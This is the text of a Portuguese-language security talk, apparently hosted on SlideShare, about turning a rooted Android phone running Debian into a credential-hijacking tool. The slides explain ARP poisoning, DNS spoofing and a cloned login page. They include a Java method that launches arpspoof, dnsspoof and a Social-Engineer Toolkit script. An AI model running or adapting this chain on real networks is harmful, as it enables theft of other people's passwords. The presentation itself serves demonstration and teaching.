SlideShare uma empresa Scribd logo
1 de 38
Baixar para ler offline
+                      =
Debian com Android Para Sequesto de
            Credenciais


              WILBERTO FILHO
            Partec - Tangerina Lab
        wilbertofilho@tangerinalab.com
Quem sou eu?
Quem eu não sou
Quem eu não sou
Quem eu sou
Quem eu sou
Credential Hijack
Credential Hijack




Credential Hijack   Roubar senha
Objetivos
Objetivos (NÃO)

         VOU ROUBAR A SENHA
         DA MINHA NAMORADA!
Objetivos
Objetivos
Objetivos
O que precisava?




  DNS SPOOFING
O que precisava?


        Enfia o cabo que eu gosto!
Por que ARP Poisoning?
Porque ARP Poisoning?




10.0.0.1   ARP   00:00:5E:00:01:03
Porque ARP Poisoning?
                      10.0.0.5


                                  Internet
10.0.0.3




                       10.0.0.1
                                  192.168.1.1




10.0.0.2
                       10.0.0.4
Porque ARP Poisoning?
                              10.0.0.5


                                          Internet
10.0.0.3




                               10.0.0.1
           Quem é 10.0.0.1?
                                          192.168.1.1




10.0.0.2
                               10.0.0.4
Porque ARP Poisoning?
                              10.0.0.5
                                          EU!
                                                Internet
10.0.0.3




                               10.0.0.1
           Quem é 10.0.0.1?
                                                192.168.1.1




10.0.0.2
                               10.0.0.4
Por que ARP Poisoning?
Porque DNS Spoofing?



 Quero www.facebook.com!

                                       OK!


         DNS Request


                           - Servidor DNS
                           - Servidor HTTP
                           - Página Clonada
Porque placa em promiscous?

     Quero www.google.com!
                                   OK!


           DNS Request




               Internet      ...
Primeira Tentativa
Primeira Tentativa
     RESULTADO
Segunda tentativa
Por que Debian?




    apt-get moo
Por que Debian?


1- debootstrap
2- dd
3- mke2fs
4- mount
5- chroot
Ferramentas
   Busybox
Ferramentas
DSNIFF - ARPSPOOF
Ferramentas

DSNIFF - DNSSPOOF
Ferramentas
Ferramentas

   SET
Usando o ataque
Usando o ataque

public void prepararAmbiente() throws IOException, InterruptedException {
     Process p=Runtime.getRuntime().exec("su");
     DataOutputStream stream=new DataOutputStream(p.getOutputStream());
     stream.writeBytes("mount -o loop -t ext4 /sdcard/debian.img /data/local/debian");
     stream.writeBytes("busybox chroot /data/local/debian /bin/bash -c '/usr/bin/nohup
 /usr/sbin/arpspoof -i wlan0 192.168.1.1&'");
     stream.writeBytes("busybox chroot /data/local/debian /bin/bash -c
'/usr/bin/nohup /usr/sbin/dnsspoof -i wlan0 -f /home/wilberto/spoof.txt&'");
     stream.writeBytes("busybox chroot /data/local/debian /bin/bash -c
'/home/wilberto/set/set-automate droidhawk.txt'");
     stream.close();
     p.destroy();
   }
Resultado
Resultado
Obrigado!

        João Paulo
       Tiago Ferreira
      Paula Cavalcanti

E a todos vocês pela atenção!

Mais conteúdo relacionado

Destaque

Online privacy Josh's Version
Online privacy Josh's VersionOnline privacy Josh's Version
Online privacy Josh's Versionmegg16
 
Video game addiction
Video game addictionVideo game addiction
Video game addictionmegg16
 
Justin bieber
Justin bieberJustin bieber
Justin biebermegg16
 
Online privacy
Online privacyOnline privacy
Online privacymegg16
 
Slideshow - Lil Rat
Slideshow - Lil RatSlideshow - Lil Rat
Slideshow - Lil Ratmegg16
 
Compression Ignition Engine Modifications for Straight Vegetable Oil Fuel
Compression Ignition Engine Modifications for Straight Vegetable Oil Fuel Compression Ignition Engine Modifications for Straight Vegetable Oil Fuel
Compression Ignition Engine Modifications for Straight Vegetable Oil Fuel XZ3
 
The New Athletic American Dream Draft 1
The New Athletic American Dream Draft 1The New Athletic American Dream Draft 1
The New Athletic American Dream Draft 1alexgaertner
 
Cell Phone Usage During the School Day- Draft 1
Cell Phone Usage During the School Day- Draft 1Cell Phone Usage During the School Day- Draft 1
Cell Phone Usage During the School Day- Draft 1alexgaertner
 
The New Athletic American Dream- Draft 2
The New Athletic American Dream- Draft 2The New Athletic American Dream- Draft 2
The New Athletic American Dream- Draft 2alexgaertner
 
IED BARCELONA_APLI
IED BARCELONA_APLIIED BARCELONA_APLI
IED BARCELONA_APLICatalejos
 
PóLiza Bomberos Voluntarios
PóLiza Bomberos VoluntariosPóLiza Bomberos Voluntarios
PóLiza Bomberos Voluntarioscastrogo
 
Barbie Versus Barbie
Barbie Versus BarbieBarbie Versus Barbie
Barbie Versus Barbiemguerol2
 
Funcionamento biblio 2012 13
Funcionamento biblio 2012 13Funcionamento biblio 2012 13
Funcionamento biblio 2012 13xistina
 

Destaque (20)

Singular y plural
Singular y pluralSingular y plural
Singular y plural
 
Online privacy Josh's Version
Online privacy Josh's VersionOnline privacy Josh's Version
Online privacy Josh's Version
 
Video game addiction
Video game addictionVideo game addiction
Video game addiction
 
Justin bieber
Justin bieberJustin bieber
Justin bieber
 
Online privacy
Online privacyOnline privacy
Online privacy
 
Slideshow - Lil Rat
Slideshow - Lil RatSlideshow - Lil Rat
Slideshow - Lil Rat
 
Devils claw
Devils clawDevils claw
Devils claw
 
Compression Ignition Engine Modifications for Straight Vegetable Oil Fuel
Compression Ignition Engine Modifications for Straight Vegetable Oil Fuel Compression Ignition Engine Modifications for Straight Vegetable Oil Fuel
Compression Ignition Engine Modifications for Straight Vegetable Oil Fuel
 
The New Athletic American Dream Draft 1
The New Athletic American Dream Draft 1The New Athletic American Dream Draft 1
The New Athletic American Dream Draft 1
 
Cell Phone Usage During the School Day- Draft 1
Cell Phone Usage During the School Day- Draft 1Cell Phone Usage During the School Day- Draft 1
Cell Phone Usage During the School Day- Draft 1
 
The New Athletic American Dream- Draft 2
The New Athletic American Dream- Draft 2The New Athletic American Dream- Draft 2
The New Athletic American Dream- Draft 2
 
IED BARCELONA_APLI
IED BARCELONA_APLIIED BARCELONA_APLI
IED BARCELONA_APLI
 
PóLiza Bomberos Voluntarios
PóLiza Bomberos VoluntariosPóLiza Bomberos Voluntarios
PóLiza Bomberos Voluntarios
 
Ano letivo no Dom Távora
Ano letivo no Dom TávoraAno letivo no Dom Távora
Ano letivo no Dom Távora
 
Barroco
BarrocoBarroco
Barroco
 
Argentina
ArgentinaArgentina
Argentina
 
Barbie Versus Barbie
Barbie Versus BarbieBarbie Versus Barbie
Barbie Versus Barbie
 
Influenza A H1 N1
Influenza A H1 N1Influenza A H1 N1
Influenza A H1 N1
 
Funcionamento biblio 2012 13
Funcionamento biblio 2012 13Funcionamento biblio 2012 13
Funcionamento biblio 2012 13
 
Cx pres2a
Cx pres2aCx pres2a
Cx pres2a
 

Debian com Android para Sequestro de Credenciais